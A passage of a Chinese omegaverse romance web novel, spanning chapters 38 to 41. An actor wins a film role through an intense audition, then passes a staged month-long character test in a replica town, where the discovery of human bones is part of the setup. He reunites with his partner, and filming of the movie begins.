衣服上留存的稀薄信息素采集完毕,医生拿着报告单过来,又拿起问卷仔细看过,有些意外:“你26岁才发生性关系,而且关系对象还是唯一的?”反应很是惊奇,“信息素稳定性和安全性也都是A极,你是beta?还是那种绝对冷感的alpha?”
他愣了下不知道该先回答哪个问题,结果就听对方语气松快:“行了没有任何问题,你是今天所有人里最让我们省心的,去下一轮吧。”
进来的时候看到这里的样子有多意外,这会儿被轻飘飘“通过”送进电梯时就有多懵。
站在电梯里看着楼层不断攀升,他突然很想笑,就在他想给宋采舟发消息说这件事的时候,电梯停下了。
门一开,地上的引路贴就直直指向前方,他跟着箭头方向走,最后站在两扇门前。
“进。”声音是从左边门里传出来的,他正正神色推门进去,看到了从前见过无数次的标准试镜现场。
桌后只有一个人,“61号,席棹对吗,进来吧。”男人看起来并不老,应该也就四十出头,见他进来从桌后站起身靠近,递给他一本小册子,“五分钟,挑一个你觉得自己最有把握的片段试戏,那边箱子里有道具,有特殊需求也可以直接和我提,我姓温。”
终于到了最关键的试戏环节,他深吸口气不敢走神,快速地翻看起小册子。
册子总共十五页,每页一个片段,大多是对话,只有大概三四个片段是环境戏,好在每段都不长,他速览了一遍,最后选了一段混混街头斗殴的戏。
“片段八是吗,ok。”温导熟练地给调了个亮度最低的昏暗光模拟深夜路灯下的环境,摆正座位伸手示意,“准备好了随时可以开始。”
他从道具箱里拎出一截泡沫做的长棍在手心掂了掂,然后单手紧握着一端,边左右挥着边走向场中,突然向右一侧身,长棍掉在地上滚了两圈。
他弯下腰去捡却脚一滑,膝盖在地上磕了个响,于是顺势往前跪地一滚,手向后一捞抓回棍子横着一扫,才喘着粗气起身,沉下肩又摆出一副准备攻击的架势。
正要抬手来记狠的,席棹突然喉咙发痒像有千万只蚂蚁在爬,整个人也顿了下,等到真正做出向下敲击的动作时双臂的力气已经卸了一半,明显不是那么狠厉了。
“ok,到这儿就行。”温导出声的一瞬间他就知道自己没有表现好,心凉了半截,走到角落把泡沫棍放回箱子的脚步都是虚浮的,忍了又忍才勉强没咳出来。
“你选场景戏其实我还挺意外的,不是所有人都有勇气拿这种片段试戏,本来没台词就没什么优势。”温导点评的很仔细,“前半段发挥的不错,挑武器的懒散和拿到趁手武器后的自信都很到位,还有你进戏没有缓冲这点我个人很满意,这是成熟演员该具备的能力。”
“中间的动作戏看得出来比较生疏,你应该没有亲身体会过那种混混间的群殴吧,也可能是受道具影响手感不对,演出来不像是人群与人群间的打架,反倒更像是校霸之间的那种单挑约架,不过肢体动作不僵硬,勉强合格。”
“但是最后这段我没接收到你想表达的意思,是后背被其他人偷袭了?还是被对方的什么东西挡住了?架势是狠的,但力道又像是过家家。”
温导边说着边在他的个人表上填写评价,最后还是有些遗憾地说:“撇开这些不谈,你的形象气质和我们想要的也有出入,不是说你不好,而是有时候风格太突出确实在角色市场上受限很多。”
这话的意思很明了了,机会就这一次,没把握住就是没把握住,怨不得别人。
他憋闷得慌,气一岔再也忍不住,猛地咳嗽起来,甚至大有一咳停不下来的架势。
温导忙扔下手中笔,从自己的保温杯里倒了温水出来递给他:“没事吧?别急,慢慢顺气,先缓下来再说。”
好不容易缓过劲了,耳根又开始突突的疼,痛得他一阵耳鸣眼前一晃,差点没站稳。
“你是有咽喉炎吗?”温导皱起眉问,见他点头后伸手一摆,“别说话了。”说着从兜里掏出一张皱皱巴巴的名片塞到他手里,“去隔壁试试吧。”
等他真正推开隔壁的门,里面的人比他这个莫名被指路的还吃惊。
崔琳取下眼镜放到一边,接过那张名片看了两眼,问他:“能来无实物台词戏吗?”
席棹几乎是同一秒就点了头,这是他最后的机会了,无论如何都要把握住。
“行,我看看。”崔琳在手边一叠纸稿里翻翻找找,抽了一张给他,“就这个吧,你需要多久,十分钟够吗?”
“够。”砂砾滚过湿地一般的声音让崔琳扬了扬眉,没说什么,伸手示意他自便。
十分钟后,席棹把视线从纸上最后一句话挪开,低下头让前额的头发遮住一半眼神,紧攥着那张纸一步一步走向崔琳气派的办公桌。
纸被一只颤抖的手推着向前,崔琳目光暗了下,抬眼,对上一双幽怨的眼神。“这是什么?”她自然地接过戏。
席棹鼻尖一酸,在眼中水汽弥漫上来之前用声带震颤引发的疼痛生生压下,喉间传出类似野兽威慑般的低颤声。
他看着眼前这张保养得宜的脸,恨不得自己眼里掺了毒,如果能用眼神杀了对方那就最好不过了。
“欠你的,我会,还清。”每说一个字,他的喉咙就像被锋利刀片割了一把,那些音节跟带着血似的往外蹦,很不连贯,但字字清晰。
崔琳眼珠一晃翻了个白眼,耸肩往椅背上靠,抬起下巴问:“你知道自己欠我多少吗?”说着伸出两只手在空中翻转几下,十根手指一遍遍折起又展开,嗤笑道,“二十年,我二十年的心血没了,全没了!”
“就因为你的一个不小心!”
他看着指向自己的那根手指,指甲边缘还挂着没剪干净的倒刺,是少见的粗扁形的女性骨骼。
“我的,给你。”他伸手把桌上的纸又往前推了下,却被崔琳一掌拍开。
“你的?什么你的?”崔琳绷着脸问,“你是我生出来的,你的腺体本来就属于我!我的实验胚胎被你毁了你就该为自己的行为付出代价,想给我一个腺体就算了事?做梦。”
“我告诉你,在我研究出完美的复制方法之前,你,就是我新的实验体。”
泪珠砸落在桌面,溅起细碎的水花,崔琳看到他的表情后偏过头,腰上劲一松,靠了回去。
他任由眼泪涌出没伸手去擦,在敬爱了二十年的母亲面前,一切伪装都是多余的,他们之间已经没有信任和爱,只有撕碎的虚假美好和满地仇恨。
“腺体,你要,就拿走,命,是我的。”他伸手进口袋里抓了一把,做了个掏出什么东西的动作,然后手掌往桌上一扣。“刀,在这,我,不躲。”
说完最后一句台词,席棹的嘴唇已经抖得不成样子,脸上糊着眼泪鼻涕,只剩一双眼睛死死盯着面前的“母亲”。
崔琳静了几秒,伸手抽纸递给他:“情绪不错,擦擦,坐下聊会儿吧。”
一个小时后,林善善在一楼大厅等得快要睡着,打着哈欠揉眼睛时
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终于看到席棹从电梯里走出来。
“席哥。”她迎上去,眼尖地发现席棹眼里没褪干净的红血丝和微肿的眼眶,以为是视镜被刷被打击到了,忙安慰道:“哎没事没事的,乔颖姐都说了这回肯定不容易,咱不着急慢慢来,机会不有的是吗?”
席棹接过水壶慢慢喝着,等嗓子不那么扯着疼了才疑惑地说:“什么?”
林善善傻了:“什么什么?”说着指了指自己眼睛,支支吾吾道,“你这个,不是因为没面上才哭的吗?”
他反应过来,掏出手机打开某个界面转过去给林善善看,还举起手嘘了声示意其保密。
“我......靠。”林善善捂着嘴压下声音,“崔导?她给你联系方式了?那意思是?”
“嗯。”他收起手机,“回去说。”
一周后,乔颖亲自送席棹到了集训基地,临走前再三嘱咐他有任何事情都要第一时间和自己商量。
这是他第一次参加这种演员开拍前的集训,而且崔导要求所有人都不能带助理,接下去一个月的时间生活和工作全部都得自己打理,组里也没有安排所谓的工作人员。
到地一看,他才明白这次所谓的“集训”其实是把他们弄到一个和故事背景差不多环境的地方身临其境地调整状态。
“四月五号正式开机,这一个月大家就住在这儿,可以上网可以聚会,爬山钓鱼都可以,但是不能离开划定的范围。”崔琳是通过视频会议交代的,还补充说,“各位都是千挑万选出来的,剧本也都拿到手了,相信你们能和角色灵魂对话,我们一个月后见。”
屏幕旁的男人按下会议终止,转身对几人微笑:“你们也都见过我了,那重新自我介绍一下,我叫温晟贤,刚从国外回来,这次会在大雾里饰演一个角色,但现在还不能说。接下来一个月我会和你们一起生活,请多多指教了。”
他看了一圈人,发现这在场的演员里竟没有一个眼熟的,刚心生疑惑就听见有人直接问了出来:“温哥,在这儿的就是所有主演了吗?怎么看大家都挺面生呢。”
温晟贤笑笑解释道:“崔导认为有必要拉来集训的主演们都在这儿了,面生很正常,因为这次选角特意启用了对观众来说较生的面孔,这个跟故事本身有关。”说着调侃,“怎么,没有大腕儿很失望吗,等正式开拍就能见到了,大家在同个组的时间还长着呢,好好相处吧!”
第一天晚上大家简单在附近小饭店聚了个餐,互相通了联系方式和角色。席棹要饰演的杨小刀一角让同桌几人不断感叹,特别是几位女生。
“天呐你要演杨小刀?他可太苦了。”大家都是钻研过故事的人,当然不可能只看自己要演的角色,“我每次看到他的结局都忍不住哭,还好我和你没有对手戏,不然我真怕情绪崩溃。”
他夹菜的手在空中顿了下,有些不好意思:“倒也没有那么夸张吧,我觉得那对他来说是好的结局,至少是他想要的。”
“对他好可不代表对我们这些观众的心脏好,你不知道晚上一个人在房间看到那段哭得心抽抽的有多难受。”
“诶,不过杨小刀是个天生的小结巴,你是不是得从现在开始就练习那种说话方式啊?”
一桌人围着他和杨小刀这个角色展开了“饰演有生理缺陷的角色是体验派更好还是理论派更好”的讨论,兴头上来还在包厢里开始临时飙戏,几个喝了点酒的家伙趁着酒劲非要让他这个官方定下的扮演者打分,选出一个他觉得最像的。
他优哉游哉地喝着杯子里的温水,最后笑说:“都不像。”被群起而攻之拉着灌酒,幸得温晟贤解围:“行了行了,他咽喉炎刚好,要是又复发了我看你们谁负责照顾。”
几人的距离在一顿饭后似乎拉近了不少。
回到分配的小公寓洗了澡躺到床上,他翻了几下剧本,还是拿手机给宋采舟弹了个视频邀请,那头很快接了。
“怎么样,第一天还顺利吗?”宋采舟那头看背景是在书房,身上穿的也是他们前不久一起买的情侣款家居服,“没吃什么不该吃的东西吧。”
他舔舔嘴唇:“还行,相处起来挺轻松的,我是没吃不该吃的,但它想吃。”
“他?”宋采舟声调高了些,“谁?”
他咳了声,把手机伸了下去。
39.第 39 章
集训所在的地方是个四线小城,和S市比起来看不出太多十年内的发展痕迹,就连设备齐全的健身房都只有一家,而且距离住的地方很远,来回很不方便。
席棹试了两天觉得实在太浪费时间,和大家一起吃饭时提起这件事,马上有人建议:“反正咱们这片后头就是山,还泡什么健身房,干脆去爬山好了。”
他想了想觉得可行,转头问温晟贤意见:“温哥,这样可以吗?我记得崔导说只要不离开规定范围就行。”
温晟贤点头:“没问题啊,我喜欢爬山,我也和你们一起。”于是几人商量决定头一天晚上在群里发投票确定出发时间。
从这天起爬山成了众人每三天一次的固定活动,除此之外逛集市搜罗各种好吃的也成了大家增进感情的重要环节。
三月中旬稍微转暖了一些,趁着难得的好天气,席棹把床单被套拆下来洗了抱到阳台上去晒,然后出门去市场买菜准备晚上的火锅。
刚到市场没走两步手机就响了,是温晟贤打来的。“喂温哥,我已经到市场了,菜单就按照上一次的行吗?”
“ok啊,小马让你把明天早饭也一起买了,他们刚才碰到街口早餐店的老板,老板说明天要去医院看刚出生的小孙女,早上不开门了。”
他轻车熟路地走到老摊位前挑了几捆菜,又笑着向摊主大娘指了指上面挂着的腊肠比划了一截,把手机夹在肩头,两手撑着袋子装菜:“好我知道了,这里的早点样式不一定有多少,跟他们说我买什么就吃什么,不许挑。”
温晟贤哈哈一笑:“成,谁敢挑下回让谁去买。你那边差不多快好了发消息给我,我过去接你,东西多坐车不方便。”
“行,谢谢温哥。”他把手机塞回兜里,接过大娘递来的一小袋切好的肠,往嘴里塞了两片,“还是阿姐这里的味道正。”
“就你嘴甜!”大娘乐呵地擦擦手,从板子下面拿出一小包东西,“拿着,自己家里刚腌的咸菜,配粥配饭好吃的噻。”
他欢欢喜喜接过放进袋子,从内衬口袋里数了纸币递过去,问道:“阿姐,这里哪家摊子能做鱼片的呀?”
“鱼片啊。”大娘指了指角落一家,“我就知道老刘家能搞,不过鱼得在他家买,不然不给动刀的。”
“好嘞谢谢阿姐!”
等到了大娘指的老刘鱼摊,一问才发现这家的鱼比别家贵了三倍不止,都快赶上牛肉的价格了,他又问能不能单独付钱片鱼,被摊主阴阳怪气一通说没钱别妨碍做生意。
有些郁闷地转头先去买齐菜单上剩下的豆腐粉条鱼丸之类的成品,给温晟贤发了消息后,想想干脆去隔壁摊买了四斤牛肉,特意拎着从老刘鱼摊门前走了。
“嗯?怎么买了牛肉,这得超预算不少吧。”温晟贤瞄了眼后座大大小小的袋子问。
他扣上安全带:“上次他们不是说想吃鱼又嫌自己做太麻烦,我就问了个能做鱼片的摊子,但是太贵了,人也不肯单独卖手艺,我想想那钱还不如拿来买牛肉呢,反正都是蛋白质。”转头一笑,“预算超就超了,叫小马再去给人家修几次电脑好了。”
温晟贤乐得合不拢嘴:“那你得让别人家小孩多浇几次可乐上去,哪儿那么容易坏啊?”
两人打着趣回了住的老居民区。
几个人住得都挺近,但只有席棹的小公寓稍微宽敞点还通风,所以每次容易留味儿的聚餐都会选在他这里。
刚推开门就见里头的桌椅锅子碗筷什么的都已经摆好了,小马走过来接了一手的塑料袋去厨房收拾装盘,他换了拖鞋刚准备去倒杯水喝,桌上早备好的水就被递了过来。
“刚放温的,阳台上晒的被单我和悠悠给你收回来放房间里了,不然等会儿要沾上火锅味。”
他朝人竖了个大拇指:“我到楼下了才想起来,还是你们细心。”
几人围在一起涮菜的时候把电视开着随便挑了个台当背景音,聊着聊着就听见进了中插广告,是平台为下个季度接档电视剧的预热。
温晟贤抬头看了两眼,突然停住了动作问:“席棹,这是不是你之前拍的那部?”
这台电视机有些年头了,画面色彩整体偏暗,但屏幕上那张脸确实很好认。
小马立刻起哄:“哎哟还真是,我看看,剧名就叫替身啊,替身演员和小透明编剧的双向奔赴。”跟着念起上面的宣传语,一脸坏笑地问他,“席哥,你演的谁啊?这给你帅的哟。”
“那旁边不写了吗,人气演员深陷舆论跌落谷底。”悠悠趁小马不注意,夹走刚下的一大筷子牛肉进自己碗里,“我们席哥这么有型,肯定是人气演员啊。”
“杨悠你又抢我的!”小马袖子一撸就往对面碗里伸筷子,被眼疾手快地拦了下来,桌上顿时热闹不休。
温晟贤趁乱悄悄贴近问他:“CTZ这个平台我听说风评不太好,卖给他家这事你收到消息了吗?”
“我?”他等豆腐不那么烫了才咽下去,想了想说,“这种事我哪能知道,我去补成片配音的时候画面还是碎的,后期宣传因为要腾档期出来也都拒了,他们不通知我也挺正常。”
温晟贤若有所思地点点头:“也是,不过你可以问问你经纪人,她肯定知道。”
“还是算了吧。”他这才意识到自己已经半个多月没和乔颖联系了,“她之前替我推掉那边的宣传工作估计已经得罪了人家,不知道就不知道了,又不影响什么。”
小马突然插话:“傻呀,这不是白白浪费了你的黄金宣传期吗?就算你人在这儿走不开,那也可以线上连麦接受主创团队采访的啊。”
悠悠立马翻了个白眼:“你才傻吧,都这时候了人家肯定是把精力都放在男女主演身上啊,你没看刚才预告里席哥总共就露了几秒的脸。”
“你们俩休战的倒挺快。”温晟贤意有所指地说了句,扯开话题,“反正人都在这儿,干脆一起问了算了,明天早上爬山晨练去的举手。”
最后确定去的只有他们四个,剩下的人各有各的安排。
“我生理期来了就不出门了。”“我明天有个线上面试怕耽误时间还是算了吧。” “我今晚有个跨国连线解说要忙到很晚,明天肯定起不来,打算睡到中午,你们都别叫我啊!”
“行,那桌子你们收拾,我和席棹去公园散步了。”温晟贤拍拍他肩膀,“走。”
出了小巷往公园走的路上,席棹问起:“温哥,我们在这儿住了大半个月了,还不知道崔导说的规定范围到底在哪儿,你知道吗?”
温晟贤左右看看选了条人少的路:“应该就是这座镇子吧,你们不也没往外走去试过吗。”
他有些不解:“是吗,我怎么总觉得哪里怪怪的。”
突然前面不远处的灯牌亮起吓了两人一跳,有个长发女人从灯牌后面的
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小门走出来,抖了抖指尖的烟斜睨了他们一眼,“哟,俩帅哥,进来玩玩吗?”
他看了眼灯牌上花里胡哨的字“棋牌室”,又看了眼女人过于清凉的穿着,手肘碰了下温晟贤准备绕道离开。
没想到温晟贤轻笑了声按下他的手腕,从裤兜里掏出烟盒向那女人走近。
“温哥!”他轻喊了声试图让人停下脚步,却见人冲他摆摆手,叼起根烟走到门边问那女人:“能借个火吗?”
女人叉着胸含笑看着温晟贤,抬起下巴把闪着火红星子的烟头凑近贴到,抿着红唇学他叫:“温哥,只是想借火?不想消消火吗?”
眼看那只手就要摸上温晟贤的裤腰,他连忙上前一把拦住:“不好意思,我们还有事。”说着皱眉屏着呼吸就要拉温晟贤走。
女人鼻腔里散出一阵轻烟,伸手拦住,声音雾蒙蒙的:“急什么啊小帅哥,我又没说只能接温哥一个人。”她往前凑两步,把含在嘴里的一小团烟喷到席棹脸上,“不喜欢我这款里头还有别的,你想要什么样的都有,新来的小男生嫩得很。”
这样的明示是个傻子都该懂了,席棹后退拉远了距离,挥手散去呛人的残烟,“你开门做这生意合不合法我不管,但现在我们要走,怎么,你要强行拉我们进去吗?”
女人双指夹着烟靠着墙,上下打量他,最后撇过脸轻笑了声:“算我倒霉,碰上道德小警察了。”说着把烟扔到地上拿鞋尖碾碎,甩上门进去了。
他闻到周围混着劣质香水和尼古丁的杂乱气味,快步往前走到了空旷路口。
“还好吧,你真没兴趣啊,我看你素了大半个月了。”温晟贤调侃的声音自身后传来。
他扭过头神情严肃:“温哥,我有爱人,就算没有我也不会做这种事,可能你在国外接受的观念不太一样,但为了自身健康考虑我劝你还是不要为好。”
温晟贤的烟只在最开始抽了两口,后面就一直拿在手中,这会儿已经燃了大半,灰烬从中间折断落到水泥地上。
“玩笑啦,我对这个也没兴趣,只是问她借火而已。”他把剩下的一截烟头摁灭扔进路边的垃圾桶,两手翻出口袋,“忘带打火机了,你又不抽烟。”
第二天一早,四人照老路出发爬山,路上聊起再过两周就要开机的话题,杨悠有些忐忑:“我第一次进这么大的项目,不知道崔导是怎么样的导戏风格,万一拖后腿了我真得吓死。”
小马倒是乐呵呵的:“怕什么,反正我只听说过因为违反规定被解约赶走的,没听过演得不好被强制换人的,而且崔导那么擅长调教演员,点石成金不还是简简单单嘛。”
“你说谁是石头,你才是石头!”杨悠拿登山杖戳他腿,疼得他嗷嗷叫着往旁边跳。
就在后头两人悠哉看热闹的时候,小马跳着跳着进了旁边的野草堆,脚一崴踩到了一块硬物,整个人重心偏移跌了进去。
“嘶,我的脚!”他痛呼着去摸自己脚腕,伸手却摸到了一块冰冷的东西,转头一看顿时惊叫,“妈呀!”
剩下三人围上前,看清楚后也都脸色一变,杨悠更是吓得往后踉跄,被温晟贤眼疾手快地扶了一把才没摔倒。
小马脚边那块绊倒他的东西,赫然是一块白骨。
“别碰!”温晟贤喊了声,伸手把小马从地上拉起来交给席棹,自己蹲下去拨开杂草丛看了半天,最后得出结论:“是人骨。”
40.第 40 章
警局大厅,席棹把接来的热水递给瑟瑟发抖的杨悠和面色惨白的小马,蹲下安慰两人:“别怕,温哥已经去做笔录了,这事儿说白了跟咱们没什么关系。”
小马觉得自己手上好像还残留着那冰冷的触感,抖着手指说:“可是我踩到了,会不会说我破坏现场什么的,我不想因为这个失去工作,席哥我该怎么办啊?”
他拍了拍小马的手背:“不会的,不要担心。”
这时温晟贤在两名警员陪同下出来,和对方点头道谢后走到三人身边:“走吧,回去。”
“啊?”小马愣愣地抬头看他,“没事了吗?不用叫我进去问话吗?”
“嘘”温晟贤示意他别说话,一左一右搀扶起两人往外走。
席棹开着车,从内后视镜里注意到杨悠数次欲言又止:“悠悠,你是不是想说什么?”
副驾驶上的温晟贤也投去目光,杨悠犹豫后还是开口说:“我在想......这件事还是不要告诉其他人了,他们才是真的和这没关系,别吓到他们。”
小马反应过来也附和道:“对啊,说了的话容易造成恐慌,而且他们三个胆子都小,万一因为这事影响到工作就麻烦了。”
温晟贤垂眼,突然问他意见:“席棹你觉得呢?”
“当然不能说,但得保证不被他们看出异常。”他转而对后头两人道,“就你俩现在这脸色,一碰面准被发现。”
杨悠是个很有主意的人,缓过来后立马提出:“我没事的,我接下去几天都有线上工作,可以待在家里不出门,实在不行就和大家错开时间吃饭,不会被注意到的。”
她说完,几人的视线不约而同地落到小马身上,温晟贤挠了挠头:“这样吧,小马今晚先去我那儿睡,有人问起来就说我找他打游戏,等什么时候觉得不会露馅了再回去。”
“好好好,还是温哥想得周到。”小马肉眼可见地放松了不少,“那就打扰了,做饭的事就交给我吧!”
安稳了两天,群里再度热闹起来,有人发起报名:“明天爬山谁去谁去!”没等其他人冒泡,温晟贤就转发了一条消息进群:“公路办前天发了通知,后山脚下那块正好在规划范围边缘,已经拦了路,我们不能去爬那个山头了。”
群里顿时掀了锅,为之后的集体活动犯愁。
另一个四人小群里,杨悠最先有反应:“温哥,这个通知是不是和那件事有关啊?”
温晟贤回了个拥抱的表情:“那边也没跟我说,别多想了。”
奇怪的是对此话最多的小马一直没出来唠叨,席棹发现后私戳温晟贤,得到了对方“放心吧他还住在我这儿”的回复。
凌晨十二点半,他翻来覆去睡不着,总觉得心里压着什么,打开和宋采舟的聊天框犹豫了半天,最后发了个猫咪探头的表情包。
语音很快弹来,宋采舟的声音听上去仍旧清醒,显然还没打算休息:“怎么了,睡不着吗?要不要我给你唱催眠曲?”
他嘴角控制不住地弯起,笑着说:“我还有十天就回去了,到时候你面对面唱给我听吧。”
“哪种面对面,坐你腿上那种吗?”宋采舟故意延长呼吸,做出一副食髓知味的沉醉动静,“老公?”
他猛地翻身坐起揉了揉头发:“你别撩我,不然回去有你受的。”
“哎哟我好怕。”宋采舟把文件翻页,看了眼屏幕上同步的数据,就听席棹的声音突然严肃起来,“采舟,你怕不怕凶杀案?”
他刚要伸去划动屏幕的手僵在半空,眉心皱起一点不易察觉的弧度。以他对席棹的剖析和了解,这种话绝不会在这样的深夜、这样分离两地的情况下贸然提起,所以——
“你遇到什么事了?别瞒我。”
十分钟后,听完了席棹对晨练四人在后山山腰发现人骨的事,他思考片刻,最后很肯定地说:“宝贝,不用等到月底,我应该很快就能见到你了。”
“什么?”席棹的声音透着股惊喜的不可置信,那是只有全心全意信任着他才会有的反应,所以他非常满意地微笑着把整理出来的资料发送到范正仁的邮箱,站起身揉着腰走到窗前,“虽然只是我基于你给的信息做的推测,但我觉得应该和事实不会有太大的出入......”
在距离原定集训一个月的期限还有最后七天的时候,温晟贤一大早在群里发了条呼叫全员的消息:“各位,到居住区街对面的公园来,等你们哦!”
席棹下楼的时候碰到了几天没现身的小马,发现对方一脸忍不住笑的贱嗖嗖模样,伸手搭上他的肩,半好奇半威胁道:“你是不是知道什么?”
小马果然吓了一跳,然后马上反应过来凑到耳边轻声说:“等到地方你就知道了。”
公园面积不大,平时也只有席棹和温晟贤会在饭后来附近散步,但这附近的居民基本一有空闲就会来这儿,跳广场舞的、聊天的、钓鱼的怎样的都有,有些面孔连席棹都已经很熟悉了。
而现在所有那些熟悉的面孔正聚在一起,在公园中心这个平时跳广场舞的小空地上有说有笑地看着几脸懵逼的他们。
“啊,早餐店的大叔!”杨悠看到认识的人小声叫道,“你不是去医院看小孙女了最近都不在吗?”然后一转头看到了几个警察,揉了揉眼睛以为自己看错了,惊呼:“你们怎么也在这儿,今天不用上班的吗?”
小马已经忍不住地躲到席棹身后开始狂笑,杨悠一脸莫名其妙的问:“你笑什么,吃错药啦?”
他想起之前宋采舟说的话,有意用目光在人群中搜寻,果然看到了另外几个眼熟的人,市场上的菜摊大娘、鱼摊的老刘、牛肉摊的壮汉老板、棋牌室门口见过的女人、唯一一家健身房的前台,还有来这里第一天晚上他们聚餐的那个小饭店的老板。
“恭喜你们通过最终的面试。”温晟贤从人群中挤出来,把手上拿着的文件发给每个人,最后还敲了下小马的脑门:“笑笑笑,胆子针眼大。”
其他几人都还在状况外,没明白这突然的一出是什么情况,温晟贤终于开始解释:“这里是大雾项目组一比一还原建造出来的拍摄地,这一个月的集训既是让大家落地感受角色的生活环境,也是对你们的最后一关考验。”
“考验?”杨悠视线慢慢地在那些“居民们”身上移动,猛地反应过来:“所以他们都是剧组的人!”
“没错。”温晟贤欣慰地笑了笑,“而我是负责亲自考验你们的人,如果在集训期间我判断有人的品行可能会给剧组带来麻烦,那么那个人就会立刻出局被送回去,不过我很高兴当时我和崔导的眼光都没有错,你们都顺利通过了!”
席棹无奈地看了眼一旁还在傻笑的小马,故意大声问:“温哥,那你让小马通过的理由,是不是他胆子小啊?”
温晟贤也绷不住笑了:“他嘛,那天从警局回来就一直缠着我,问需不需要他这个唯一接触到‘凶案现场’的人去做审讯笔录,还说如果不那么做总觉得良心不安睡不好觉,我被他缠得烦了,看他缺心眼的样子干脆就说了实话。”
小马立刻尴尬地满脸通红假装咳嗽,被众人一通打趣。
“好了,赶紧把各自手里真正的合同签了吧,签完就可以回去了,好好休息好好准备,我
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们四月五号再见。”
-
乔颖带着林善善一起来接人回程,路上席棹想到那天吃火锅时温晟贤提到的事,问:“《替身》是卖给CTZ了对吗?”
“嗯,平台已经在预热了,估计五月份开播吧,最迟不会超过六月初。”
“那舒越仪曾英睿他们现在应该在忙着跑宣传吧?”他打开列表翻到舒越仪的头像点进去,聊天界面是一片空白的。
乔颖听出了他真正想问的是什么,说:“别担心,就算那边剧宣工作不叫你,这么紧的接档排期,他们也没有多余的时间对你的戏份动什么手脚,而且后期加给你的那些是编剧和导演主动提的,他们不会蠢到做那种左右脑互搏的事。”
林善善也深以为然:“放心吧席哥,只要替身顺利播出,单凭虞陵这一个角色你就能红!你信不过我的眼光还能不相信乔颖姐的眼光吗?”
回到S市已经是深夜了,他见宋采舟还没回就先去洗了澡,出来后躺在床上把玩着项链。
去集训的时候他把项链小心地放在了原装的盒子里,这会儿却是在宋采舟床边柜上找到的,想到对方把自己贴身戴的东西放在每晚睡觉时最近的地方,他控制不住地笑,整颗心都是软的。
“咳咳,傻笑什么呢?”门边传来朝思暮想的声音,他回过神,发现宋采舟不知什么时候靠在那儿噙着笑看他,眉眼温柔。
他把项链一放,起身赤着脚大步走过去把人紧紧抱入怀中,结果抱了没几秒,一闻到那股深度交融过的茶香就气息沉重起来。
“等会儿席棹我还没洗澡!”宋采舟几乎是被扛着甩到床上的......
天际微亮的时候宋采舟从昏迷中醒来,腰部以下根本使不上力,睁着眼盯了一分钟吊灯,甩手一巴掌把身旁的席棹扇的迷迷糊糊醒来,“我饿了。”
席棹一听立马清醒,连滚带爬地套上裤子冲向厨房:“忍一下老婆马上好!”
被抱到餐桌边,宋采舟瞥了眼座上早准备好的软垫,心想算了反正也爽到了,认命地坐下:“如果最近有媒体找你做角色专访之类的,能拒就拒,实在推不掉的就拖着。”
席棹抹果酱的动作顿了下:“好,你又有什么坏主意了?”
宋采舟喝了口热豆浆,胃里舒服不少,提起餐刀转着花玩:“之前策划绑架你的团伙里那个逃出国的,前几天抓回来了,看到他我就想起来有笔账还没和朱实茂算,他家里那几个老头被迫给他兜底兜了这么多年,我倒想看看这回还会不会低声下气地求人帮忙。”
“朱实茂?”席棹把吐司切成小块喂到他嘴边,“你是担心找他的麻烦影响到替身的播出,然后可能影响到我?”
“嗯,虽然你几乎没有参与这部剧的宣传工作,现在大众的关注点大多在两个主角身上,但难保会不会有人临时改主意拖你下水。”宋采舟咀嚼地很慢,腮边一鼓一鼓的像只囤粮的仓鼠,“保险起见,不要露脸最稳妥。”
席棹觉得他又瘦了,脸上薄薄一层皮裹着骨头,摸着都硌手,也不知道到底是吃得不好还是睡得不好,又或者是年后这段时间太忙。昨晚他好几次想过要不让人休息算了,但看对方的反应又像是舒服得不行。
“诶,趁你进组前我抽几天时间出来,咱们好好出去玩几天怎么样?”宋采舟嚼着嚼着突然说,“你那边开机之后至少要好几个月出不来,我这边也得把重心都放到对赌协议内容上,就当是补蜜月了,好不好?”
“好啊。”席棹顿时把什么沉浸角色提前预备都抛到了一边,只想把眼前的人赶紧养胖一点,“想去哪儿都随你。”
41.第 41 章
四月四日当天下午,拖着被折腾得快要报废的腰和被完美契合信息素滋润得充盈的腺体,宋采舟亲自送席棹到了机场。
“乖,我腾出空就去看你。”他摸了摸席棹写满不舍的脸,习惯性地承诺。
“保密项目,不允许探班的。”听到席棹略带哀怨的提醒后他才反应过来,转念又说:“我想办法,有可能的话一定去。”
目送人离开后宋采舟手指交替敲着方向盘,摩挲着上面的菱形纹路,把车停在一段没有监控的路边给裴明知打了个电话:“裴总,好久不见,有没有兴趣发展一块新业务?”
四月五日电影《大雾》开机仪式上,席棹终于见到了演自己母亲的人,也就是整部片子的女主角,国内最年轻的影后钟潇楠。
“sorry啦,是我建议崔导不要提前说的。”钟潇楠在仪式结束后特意过来找他搭话,“你不会怪我自作主张吧。”
他受宠若惊:“怎么会钟姐,我知道这是要尽可能的贴人物,我们的对手戏都在前期,杨家母子那种对面不相识的相处模式,这样处理是最合适的。”
钟潇楠歪了歪头表示:“你很聪明嘛,叫我潇楠就行,我喜欢别人这么叫我。”
“好的潇楠姐。”
钟潇楠没有执着于纠正他的称呼,转而提起:“阿颖托我在组里照顾一下你,但我话说在前头,如果你拖了进度,我会比崔导还要计较,好好加油吧。”
-
大雾正式开拍后,席棹的第一场戏就是母子相认。这天天黑以后他被崔琳叫过去,在工地现场调整了半小时状态。
“不要有压力,轻松点来,我相信你可以。”崔琳讲完戏鼓励地拍拍他的肩,“乱七八糟的一切都不要去想,我只要最准确的那一点,ok?”
“ok。”他深呼吸就位,在听到打板声后睁眼。
杨小刀有条不紊地指挥众人先搬运走损坏不严重的仪器,“博士。”听到身后传来的声音,他伸手扣紧最上面的衣领准备转身。
“卡。”崔琳叫停,“席棹,手上动作太犹豫了,利落一点,再来。”
杨小刀迅速地扣上衣领转身,被突然打来的光闪得偏头躲避,有道人影逆光走来。
“卡。”崔琳又叫停,“席棹,惊讶太多了,收一点,我要看到惊讶后杨小刀的心理变化,再来。”
......
席棹正蹲在一堆废墟旁眼神放空的时候,视野里出现了一双短靴,“给,温水。”接过水壶,他偏头看着蹲到身旁的人说:“潇楠姐,对不起,让你失望了。”
钟潇楠捏着耳垂放松,语气满不在乎:“现在还没超出正常NG次数的范围,等超了再道歉不迟,跟我说说你的困难点在哪儿,一会儿打算怎么发挥?”
